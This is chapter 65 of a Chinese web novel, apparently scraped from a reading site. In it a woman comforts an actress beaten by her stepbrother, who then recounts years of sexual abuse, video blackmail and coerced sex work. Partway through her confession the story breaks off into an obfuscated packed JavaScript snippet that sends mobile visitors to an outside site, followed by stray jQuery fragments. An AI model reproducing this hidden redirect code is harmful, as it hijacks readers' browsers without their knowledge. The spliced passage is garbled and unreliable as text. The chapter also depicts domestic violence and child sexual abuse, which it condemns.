65. 第六十五章

作品:《明月雾里

    苏鹰圆鼓鼓的屁股坐在苏笑笑的腰上,像一个醉汉骑着一匹羸弱不堪的小马。


    苏笑笑被耳光扇到一侧的脑袋紧贴着地板,披头散发,暴露的肌肤在地板上擦破了皮,和脸上的红肿血迹般般相衬。


    苏鹰一回头,发现推门进来的是温尔。


    他脸上凶狠的神情来不及收,眼神闪躲,尴尬地站起身来。


    出于对宋豫璋的敬畏,苏鹰弓着身子,抬手触碰鼻尖的动作缓解了凶相。他朝温尔讨好道:“那个,苏笑笑想勾引宋先生,我教训她来着。既然温小姐来了,那我先走了。”


    “等会。”温尔叫住他。


    苏鹰站住,他担心温尔听到了他的计划。


    温尔只是垂眸,扫过他手背上殷红的血,薄薄的一层血腥气钻入鼻腔,令人作呕。


    从今晚见到苏鹰的那一眼起,强烈的第六感告诉她,苏鹰是和她继父一样的人渣。


    苏笑笑则是像一块瘦排骨,红白交错地躺砧板上,一动不动,闭着眼将头埋在凌乱的发线中。


    她甚至连骨头缝里,都在滴血。


    房间里三人都默不作声,气氛僵持。


    苏鹰见温尔不说话,主动询问:“温小姐还有事吗?”


    温尔朝他一笑,问了句无关的话,“喜欢喝酒吗?”


    晚上的宴会上都是珍藏的好酒,苏鹰自然没少喝。


    温尔徐徐说道:“很多年前。”


    她稍作停顿,将吹落的头发别到耳畔后面,“准确点说,是在我读书的时候,认识了一个嗜酒的男人。”


    温尔看着苏鹰,又不像只是看着苏鹰。


    更像是隔着十多年的岁月,看那位家暴成性的恶魔。


    苏鹰摸不准她话里意思,只顺着她说,“这样啊,但酒还是要少喝,不能过量。”


    “是吗?”温尔扑哧一声笑了,眼泪都要笑出来了,“他在外人面前也说过和你一样的话。”


    苏鹰呵笑,“哦?那他和我还挺有缘的。”


    温尔走近他,“你喝完酒,喜欢打女人啊?”


    苏鹰这一刻不再说话了,明白温尔是来找茬的。


    温尔意味不明地一笑,“没事,打了就打了吧,反正也都打习惯了。”


    苏鹰更想不明白了。


    苏笑笑在节目拍摄中和温尔也不对盘,温尔没道理会帮苏笑笑,最多就是听到了刚才的计划,但口嗨又没实施,不信她能怎么样!


    “我认识的那人,喝了酒也喜欢打女人,你知道他后来怎么样了?”


    苏鹰不屑地笑道:“怎么啦,难不成还能被女人打了?”


    温尔也笑,往常忧郁不开心的眸子盛满了开怀笑意,铃铃笑声在房间回荡。


    苏鹰看不透这个美貌惊人的花瓶女,只知道宋豫璋在她面前气势都温和平缓了三分,想必是床上功夫了得。


    温尔笑完,闲聊的语气,“他去坐牢了。”


    苏鹰淫.乱的思绪一止,“?”


    “可惜了,”温尔叹了口气,朝苏鹰弯弯眉眼,唇边笑意清澈,“被连砍了七刀,运气好,给他活了下来。”


    恰好此时传来敲门声。


    “温小姐,您在里面吗?”


    是李昱过来了,站在门外。


    温尔应了声。


    苏鹰打了个激灵,他怀疑温尔在暗示自己喝酒打女人不会有好下场,可是为什么呢?她和苏笑笑在节目上关系一般,娱乐圈里向来捧高踩低,温尔没道理多管闲事。


    “呵,”温尔瞧着脸色变化的苏鹰,她似笑非笑地道,“有机会,我介绍你们认识啊。”


    苏鹰摇头,“算了算了。”


    温尔和苏鹰一起朝外走去。


    苏鹰伸手想将半合着的门拉开,温尔错身上前按住门框,只开了一人通过的缝。


    走廊的光透进来,细长的一缕穿过了床,落在苏笑笑的脸上,丝发和泪水混在一起,紧紧地贴着脸皮,皱巴巴的尊严也在地上。


    突如其来的光线,她缓缓睁开了泪水模糊的双眼。


    这一刻,无比庆幸那光没有照在她光裸的身躯上。


    李昱停在半米外,将手里的纸袋递给温尔。


    苏鹰客气地朝李昱问好。


    李昱转头看向苏鹰,丝毫不感到意外地开口:“原来苏先生也在,宋先生找你,跟我来吧。”


    苏鹰一脸惊诧,眼底忍不住浮起欣喜的神色,屁颠屁颠地跟在李昱身后走,还不忘拉好裤子拉链,又用力扯了扯皱巴巴的衣摆。


    *


    门合上。


    断续的哽咽声像病猫垂死的呻吟。


    温尔拎着纸袋进屋,放在苏笑笑脚边。


    她应该转身离开的。


    但望见苏笑笑那张鼻青脸肿的脸,撕烂的长裙时,温尔顿足了。


    她想起来杜雅芳。


    想起了那十年,她们也在暴雨般的拳打脚踢下不体面地活着。


    想起被逼到再也无法装聋作哑的活下去时,拿刀报仇——


    从听见苏鹰打人的耳光声开始,她情绪就开始变差,一直变差,她已经避免去看苏笑笑的伤口了,但那些伤口太多太密,她避无可避地看见了部分。


    温尔真的,太久太久没有亲眼目睹家暴的场景了。


    无法摆脱的,也走不出那十年的阴影。


    温尔心口被这块岩石压住,又堵又闷,躁郁不安地抓了把头发。


    想抽烟。


    为什么要打女人!


    为什么非要动手!


    辱骂已是利刃,拳打脚踢,把女人当作畜生一样虐.待!


    苏笑笑还在哭。


    哭声令温尔心烦意乱,想到了自己,杜雅芳还有书音,她们以前挨揍……也是一直哭。


    “别哭了。”温尔皱眉。


    苏笑笑捂嘴小声抽泣,喊着“妈,妈妈”。


    她一直哭着喊着要妈妈,像四五岁的小孩在外面挨了揍,寻求妈妈的怀抱,渴求安慰。


    刚才苏鹰说过,苏笑笑妈妈跳楼了,人没死但也废了。


    犹豫过后,温尔还是走上前去,蹲下.身将苏笑笑半抱在了怀里。


    就和过去,她会轻轻地抱着杜雅芳一样。


    苏笑笑如同抓住了一根稻草,紧紧搂着温尔的胳膊,转身趴在温尔肩头。


    又哭了起来。


    温尔情绪很差,强忍着,始终没有推开她,只轻轻地调侃,“你干脆叫苏哭哭算了。”


    许久之后,苏笑笑才止住了哭啼,说了起来。


    “我不喜欢拍戏,也不喜欢上节目……我是一个很内向的人。”


    温尔一面陷在回忆里,一面听她说着,想着自己也是一样。


    不喜欢拍戏。


    不喜欢对着镜头公式化笑。


    不喜欢被偷拍被打扰。


    但是她缺钱啊。


    “苏鹰,是我名义上的哥哥。


    我妈嫁给了他爸。


    我十五岁被他欺负了。


    我想告诉妈妈,但是被继父知道了。


    继父威胁我…不要乱说话,不然会被赶出这个家。


    他说,没家的孩子会被卖进大山里,一辈子都见不到妈妈


    …


    我不敢说。


    直到后来,明白了被赶出这个家也没什么好怕的。


    但那时已经晚了。


    苏鹰手里有我的视频。


    现在想,都不知道那些年是靠什么活下来的。


    后来,我就成了他往上爬送来送去的女人。


    还不够,还要在娱乐圈蹭流量赚钱……


    我想过的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713644|163391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我为什么要害怕——


    大不了他把那些视频发出去吧。


    我这一辈子也就这样了。


    好像从来没有一天不是在担惊受怕之下。


    活着比死还要痛苦惶恐的话?


    为什么还要活着。


    对吧。


    为什么还要活着。”


    温尔无声。


    苏笑笑声音沙哑,似哭似笑地发出几许吸气声。


    “我和苏鹰撕破脸的那天,苏鹰让我别后悔。


    然后我在剧组,接到了我妈妈跳楼的电话。


    妈妈没死。


    瘫了,她不下见我。


    她在疗养院里几次寻死,我去见她。


    她让我不要再去了。


    苏鹰给我妈看了我被继父猥.亵的视频。


    妈妈跳楼的时候已经怀孕了。


    七个月。


    是个男孩。


    继父一直很期待那个孩子。”


    苏笑笑又哭了。


    “妈妈的巨额医疗费,我又和苏鹰和解了。


    什么戏都接。


    什么综艺都上。


    什么男人,不管老少我都会洗干净了躺过去。


    只要有钱。


    ……


    我在这个世界上,就只有妈妈了。


    我不怪妈妈的。


    是我自己不敢开口,害怕,尴尬,恐惧去说出自己被猥.亵的事。


    是苏鹰和他爸在家里伪装的太好太好了。


    …


    过去的都过去了。


    伤害会变成不褪色伤疤,我只要穿长袖长裤就看不见了。


    我唯一的念想就是妈妈能好起来。


    以后我就和妈妈过日子吧。


    ”


    温尔沉默了。


    恶心,胜过人生历练的万般感受。


    落地窗外的光照进来,丝丝缕缕地铺满依靠在一起的她们身上。


    在苏笑笑的述说里,温尔突然醒悟了,想明白了一个困惑至今的问题。


    关于她一直不愿与自己和解——


    如果高考前的那个夜晚,陈书珍没有冲动!


    她继续忍耐。


    继续在继父的疯狂举动中保持沉默,


    妹妹的头不会受伤,


    她会平安地渡过高考,


    考上心仪的大学,


    靠奖学金,靠补习费用,零工钱……把妈妈和妹妹带在身边,远离魔窟。


    人生一定,要比现在如意顺遂。


    温尔时常午夜梦回,想起这些痛苦的往事都是源于自己的一时冲动——后悔当时不够忍耐!


    忍耐或许就是另一种结果,至少完成了她想上大学、想当医生的梦想,书音也会是一个健健康康的孩子。


    直至今晚,她看到了苏笑笑千疮百孔的人生。


    温尔才想明白了,原来十八岁的她没有做错啊。


    哈哈哈!


    忍耐换来的只会是更歇斯底里的伤害!


    她或许可以忍耐地读完大学,当一个医生,然后呢?


    这个家里的女性,依旧被继父无休止地纠缠。


    一辈子活在家暴的阴影下。


    宋豫璋曾与她说过。


    以懦弱去饲养一只魔鬼是愚不可及的行径。


    温尔庆幸,十八岁的陈书珍足够勇敢,敢凭一腔热血去摁死恶魔。


    付出的代价,是昂贵不可逆的。


    但她,如宋豫璋所言,从过去活到了今天。


    还有。


    永远值得期待的明天。


    温尔抬起胳膊,轻轻拍打苏笑笑颤抖的肩膀,凉而温柔的声音好似冰冷的夜风吹过寸草不生的荒野,留下春天的讯息。


    “从明天开始,庆幸自己活到了今天吧。”